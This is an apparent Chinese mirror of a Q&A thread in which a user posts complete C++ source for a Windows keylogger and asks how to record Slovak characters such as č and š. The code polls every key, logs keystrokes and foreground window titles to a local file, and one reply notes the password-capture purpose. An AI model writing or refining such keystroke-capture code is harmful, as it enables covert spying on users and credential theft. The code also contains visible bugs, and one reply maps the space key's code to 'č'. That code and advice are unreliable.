C++具有特殊按键布局的按键记录器

C++ key logger with special key layout

本文关键字:布局 键记录器 C++      更新时间:2023-10-16

我想用 C/C++ 创建键盘记录器,但是,我来自斯洛伐克,我们有一些特殊字符,如 ľ、š、č、ť、ž、ý、á、í ...

斯洛伐克语键盘布局图像

但是当按"č"时 ->我的 keylooger 检测到"4"(它在英文 keyborad 布局上是相等的字符)。
我该如何处理这个问题?

#include <windows.h>
#include <fstream>
#include <string>
#include <stdio.h>
#include <iostream>
#include <conio.h>
using namespace std;
string convertkey(int key){
    string keystring;
    switch(key)
      {
      case 8 :
           keystring = "[/]";
           break;
      case 13 :
           keystring = "n";
           break;
      case 32 :
           keystring = " ";
           break;
      case 190 :
           keystring = ".";
           break;
      case 110 :
           keystring = ".";
           break;
      case VK_CAPITAL :
           keystring = "[CAPS LOCK]";
           break;
      case VK_TAB :
           keystring = "[TAB]";
           break;
      case VK_CONTROL :
           keystring = "[CONTROL]";
           break;
      case VK_ESCAPE :
           keystring = "[ESCAPE]";
           break;
      case VK_DOWN :
           keystring = "[DOWN]";
           break;
      case VK_LEFT :
           keystring = "[LEFT]";
           break;
      case VK_RIGHT :
           keystring = "[RIGHT]";
           break;
      case VK_UP :
           keystring = "[UP]";
           break;
      }
      if(key >= 96 && key <= 105)
             keystring = key-48;
      else if (key > 47 && key < 60)
             keystring = key;
      if (key != VK_LBUTTON || key != VK_RBUTTON)
        {
            if (key > 64 && key < 91)
            {
                if (GetKeyState(VK_CAPITAL) | GetAsyncKeyState(VK_SHIFT)) 
                    keystring = key;                                   //if its capital then stay                               
                else 
                {
                    key = key + 32;                     //if not shift the number to the lowercase value                                     
                    keystring = key;
                }
            }
        }
        return keystring;
}
void StoreKey(string key){
   ofstream storekey("C:\storekey.txt", ios::app);
   storekey << key;
   cout << key;
   storekey.close();
}
void Logger()
{
     string keyinstring = "";
     int key;
     char currentwindowtitle[MAX_PATH];
     char newwindowtitle[MAX_PATH];
     GetWindowText(GetForegroundWindow(), currentwindowtitle, sizeof(currentwindowtitle));              
     while(true)
     {
         Sleep(5);
         for(key = 8; key <= 256; key++)
        {
             if(GetAsyncKeyState(key)&1 == 1)                                                                  
             {
                 GetWindowText(GetForegroundWindow(), currentwindowtitle, sizeof(currentwindowtitle));                        
                 if (strcmp(newwindowtitle, currentwindowtitle) != 0)                                                         
                 {    
                         ofstream storekey("C:\storekey.txt", ios::app);
                         storekey << endl << currentwindowtitle << endl;
                         cout << endl << currentwindowtitle << endl;
                         storekey.close();
                         strcpy(newwindowtitle, currentwindowtitle);
                 }
                 keyinstring = convertkey(key);
                 StoreKey(keyinstring);                      
             }
        }
     }
}
int main(){
   Logger();
   return 1;
}

你试过setlocale(LC_ALL, "sk-SK")吗? 斯洛伐克是sk-SK,但如果函数无法设置新的区域设置,则不会修改区域设置并返回空指针。

#include <locale.h>
#include <stdio.h>
#include <time.h>
int main ()
{
   time_t currtime;
   struct tm *timer;
   char buffer[80];
   time( &currtime );
   timer = localtime( &currtime );
   printf("Locale is: %sn", setlocale(LC_ALL, "sk-SK"));
   strftime(buffer,80,"%c", timer );
   printf("Date is: %sn", buffer);

   return(0);
}

printf("Locale is: %s", setlocale(LC_ALL, "Slovak"));

输出:区域设置为:Slovak_Slovakia.1250

http://msdn.microsoft.com/en-US/library/39cwe7zf(v=vs.100).aspx

当它检测到 4 个保存 č 时,做一个开关大小写。

case 32 :
keystring = "č";
break;

顺便问一下,为什么要保存那些特殊字符?我认为您的密码中不能包含这些内容。